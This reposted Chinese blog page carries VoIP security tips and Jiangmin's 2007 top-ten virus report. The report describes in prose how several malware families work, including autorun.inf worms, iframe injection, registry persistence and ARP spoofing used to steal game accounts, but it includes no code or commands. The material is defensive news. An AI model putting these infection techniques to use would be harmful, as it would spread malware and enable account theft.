  停止使用不必要的協議 一些協議的未知漏洞經常會被利用。沒有必要啟用不必要和未用過的協議和服務,為黑客提供更多的機會。  

  確保可管理性 由於VoIP基礎設施中的每一組件都像任何計算機一樣容易訪問,因此都有可能遭受攻擊。即便是電話和終端,所有VoIP系統都是在硬件基礎上運行的軟件系統,所以要確保能夠管理這種基本的VoIP操作系統。  

  對遠程操作進行認證 VoIP終端可進行遠程升級和管理。要確保僅使用基於IP地址的惟一用戶名。 最後所需要的是一個可管理服務的遠程程序。  

  將VoIP服務和內部網絡分開 有幾種安全設備不能充分運行VoIP信令命令。因此,它們可能打開動態通信端口,使網絡容易遭受bounce攻擊。這會使攻擊者侵入內部LAN中的其他關鍵業務組件。同時,應該用物理或邏輯分離器將VoIP和其他基於IP的基礎設施分隔開來。  

  能夠對VoIP進行檢查的安全系統 此種安全系統必須能夠審查VoIP流,分析呼叫狀態並且檢查服務內容,以確保所有參數是一致的。  

  除了以上的問題需要考慮外,還應該考慮網絡地址轉換(NAT)對VoIP流量造成的影響。

轉載自:http://news.ccw.com.cn/secure/htm2007/20070706_283416.shtml

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

上周,計算機反病毒軟件供應商江民科技發佈了2007年上半年十大病毒排行。

據江民科技反病毒中心統計,從2007112007630,反病毒中心共截獲新病毒73972種,較去年同期增長了221%。江民KV病毒預警中心顯示,16月全國共有14081895台計算機感染了病毒。

2007年上半年十大病毒 ANI病毒居首

十大病毒中,「ANI病毒」憑借新的掛馬方式,以傳播範圍廣破壞力強,高居病毒排行榜首位,成為上半年的「毒王」,現在一半以上掛馬網頁都使用了這種方式。「U盤寄生蟲」病毒位居排行榜第二,該病毒利用U盤等移動設備進行傳播,短短一周就感染了5565台計算機。位居第三的是「威金」系列病毒,最出名的當屬「熊貓燒香」,在1-3月期間尤其猖獗。此外,ARP類病毒採取一種欺騙技術,這半年來被越來越多的病毒所使用,是病毒發展的一個新趨勢,這類病毒目前在排行榜中名列第四。而位居第五、第六位的「代理木馬」和「網游大盜」都是具有盜竊特徵的木馬,前者可以偷取計算機用戶機密信息,後者可盜取網絡遊戲玩家帳號密碼。位居第七、八、九位的「鞋匠」病毒、「廣告泡泡」、「 埃德羅」雖然這些病毒編寫的方法原理不同,但他們都屬於廣告程序,中毒後計算機的特徵之一就是都會自動彈出廣告頁面。IstBar腳本」是一個木馬腳本類病毒,中毒後計算機也會出現主頁被修改,和自動彈出廣告的症狀,位居排行榜第十。

據江民2007年上半年病毒疫情報告顯示,2007年上半年病毒發展的新特徵較2006年有所改變。利用微軟Windows系統ANI文件處理漏洞(MS07-017)進行傳播的網絡蠕蟲,可感染正常的可執行文件和本地網頁文件,並下載大量木馬程序,這種新型的掛馬方式正已驚人的速度侵蝕著互聯網安全;由於U盤的廣泛應用以及眾多電腦用戶在使用U盤時沒有先進行病毒掃瞄的習慣,U盤等新的數據信息載體已成為病毒傳播的主要途徑之一;ARP欺騙技術,主要是針對局域網用戶,病毒通過偽造的ARP數據包,嚴重干擾網絡的正常運行。這三類病毒都可以說代表著2007年病毒新的發展趨勢。而排在後六位的病毒,則沿襲了2006年的整體病毒特徵,主要以盜號竊秘的木馬病毒為主。而用戶的安全意識薄弱,隨意點擊不明鏈接是誘發廣告程序頻發的重要原因。

根據江民全球病毒監測網(國內部分)、江民病毒預警中心、客戶服務中心等多個部門聯合監測統計,綜合病毒的破壞能力以及傳播範圍,江民反病毒中心公佈了2007上半年度十大病毒排行:

2007年上半年十大病毒 ANI病毒居首

    2007年上半年十大病毒檔案

    一、ANI病毒

    病毒名稱:Exploit.ANIfile

    病毒中文名:ANI病毒

    病毒類型:蠕蟲

    危險級別:★★

    影響平台:Windows 2000/XP/2003/Vista

    描述 Exploit.ANIfile.b為例,「ANI變種b是一個利用微軟Windows系統ANI文件處理漏洞(MS07-017)進行傳播的網絡蠕蟲。「ANI變種b運行後,自我複製到系統目錄下。修改註冊表,實現開機自啟動。感染正常的可執行文件和本地網頁文件,並下載大量木馬程序。感染本地磁盤和網絡共享目錄下的多種類型的網頁文件(包括*.HTML*.ASPX*.HTM*.PHP*.JSP*.ASP),植入利用ANI文件處理漏洞的惡意代碼。自我複製到各邏輯盤根目錄下,並創建autorun.inf自動播放配置文件。雙擊盤符即可激活病毒,造成再次感染。修改hosts文件,屏蔽多個網址,這些網址大多是以前用來傳播其它病毒的站點。另外,「ANI變種b還可以利用自帶的SMTP引擎通過電子郵件進行傳播。

    二、U盤寄生蟲

    病毒名稱:Checker/Autorun

    病毒中文名:U盤寄生蟲

    病毒類型:蠕蟲

    危險級別:★★

    影響平台:Win 9X/ME/NT/2000/XP/2003

    描述Checker/Autorun「U盤寄生蟲是一個利用U盤等移動設備進行傳播的蠕蟲。「U盤寄生蟲是針對autorun.inf這樣的自動播放文件的蠕蟲病毒。autorun.inf文件一般存在於U盤、MP3、移動硬盤和硬盤各個分區的根目錄下,當用戶雙擊U盤等設備的時候,該文件就會利用Windows系統的自動播放功能優先運行autorun.inf文件,而該文件就會立即執行所要加載的病毒程序,從而破壞用戶計算機,使用戶計算機遭受損失。

    三、熊貓燒香

    病毒名稱:Worm/Viking

    病毒中文名:熊貓燒香

    病毒類型:蠕蟲

    危險級別:★★★

    影響平台:Win 9X/ME/NT/2000/XP/2003

    描述:以Worm/Viking.qo.Html「威金變種qo(熊貓燒香腳本病毒)為例,該病毒是由熊貓燒香蠕蟲病毒感染之後的帶毒網頁,該網頁會被熊貓燒香蠕蟲病毒注入一個iframe框架,框架內包含惡意網址引用 ,這樣,當用戶打開該網頁之後,如果IE瀏覽器沒有打上補丁,IE就會自動下載並且執行惡意網址中的病毒體,此時用戶電腦就會成為一個新的病毒傳播源,進而感染局域網中的其他用戶計算機。

    四、ARP」類病毒

    病毒名稱:ARP」類病毒

    病毒中文名:ARP」類病毒

    病毒類型:木馬

    危險級別:★★★

    影響平台:Win 9X/ME/NT/2000/XP/2003

    描述:通過偽造IP地址和MAC地址實現ARP欺騙,能夠在網絡中產生大量的ARP通信量使網絡阻塞或者實現「man in the middle」 進行ARP重定向和嗅探攻擊。 用偽造源MAC地址發送ARP響應包,對ARP高速緩存機制的攻擊。當局域網內某台主機運行ARP欺騙的木馬程序時,會欺騙局域網內所有主機和路由器,讓所有上網的流量必須經過病毒主機。其他用戶原來直接通過路由器上網現在轉由通過病毒主機上網,切換的時候用戶會斷一次線。切換到病毒主機上網後,如果用戶已經登陸了傳奇服務器,那麼病毒主機就會經常偽造斷線的假像,那麼用戶就得重新登錄傳奇服務器,這樣病毒主機就可以盜號了。

    五、代理木馬

    病毒名稱:Trojan/Agent

    病毒中文名:代理木馬

    病毒類型:廣告程序

    危險級別:★★

    影響平台:Win 9X/ME/NT/2000/XP/2003 

    描述:以代理木馬變種crd為例, Trojan/Agent.crd是一個盜取用戶機密信息的木馬程序。代理木馬變種crd運行後,自我複製到系統目錄下,文件名隨機生成。修改註冊表,實現開機自啟。從指定站點下載其它木馬,偵聽黑客指令,盜取用戶機密信息。 

    六、網游大盜

    病毒名稱:Trojan/PSW.GamePass

    病毒中文名:網游大盜

    病毒類型:木馬

    危險級別:

    影響平台:Win 9X/ME/NT/2000/XP/2003

    描述Trojan/PSW.GamePass.hvs為例,網游大盜變種hvs是一個木馬程序,專門盜取網絡遊戲玩家的帳號、密碼、裝備等。

    七、鞋匠

    病毒名稱:Adware/Clicker

    病毒中文名:鞋匠

    病毒類型:廣告程序

    危險級別:

    影響平台:Win 9X/ME/NT/2000/XP/2003

    描述:以Adware/Clicker.je為例,鞋匠變種je是一個廣告程序,可彈出大量廣告信息,並在被感染計算機上下載其它病毒。鞋匠變種je運行後,在Windows目錄下創建病毒文件。修改註冊表,實現開機自啟。自我註冊為服務,服務的名稱隨機生成。偵聽黑客指令,連接指定站點,彈出大量廣告條幅,用戶一旦點擊帶毒廣告,立即在用戶計算機上安裝其它病毒。

    八、廣告泡泡

    病毒名稱:Adware/Boran

    病毒中文名:廣告泡泡

    病毒類型:廣告程序

    危險級別:★★

    影響平台:Win 9X/ME/NT/2000/XP/2003

    描述: Adware/Boran.e為例,廣告泡泡變種e是一個廣告程序,採用RootKit等底層技術編寫,一旦安裝,很難卸載徹底。該程序會在C:Program FilesMMSAssist下釋放出病毒文件。在後台定時彈出廣告窗口,佔用系統資源,干擾用戶操作。 

    九、埃德羅

    病毒名稱:TrojanDownloader

    病毒中文名:埃德羅

    病毒類型:廣告程序

    危險級別:

    影響平台:Win 2000/XP/2003

    描述: Adware/Adload.ad「埃德羅變種ad是一個廣告程序,在被感染計算機上強制安裝廣告。

    十、IstBar腳本

    病毒名稱:TrojanDownloader.JS.IstBar

    病毒中文名:IstBar腳本

    病毒類型:木馬下載器

    危險級別:★★

    影響平台:Win 9X/ME/NT/2000/XP/2003

    描述TrojanDownloader.JS.IstBar.t「IstBar腳本變種t是一個用JavaScript語言編寫的木馬下載器。「IstBar腳本變種t運行後,在用戶的計算機中強行安裝IstBar工具條,造成用戶系統變慢,自動彈出廣告,強行鎖定用戶的IE首頁等等。

 

轉載自:http://net.zdnet.com.cn/network_security_zone/2007/0709/417070.shtml

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

«123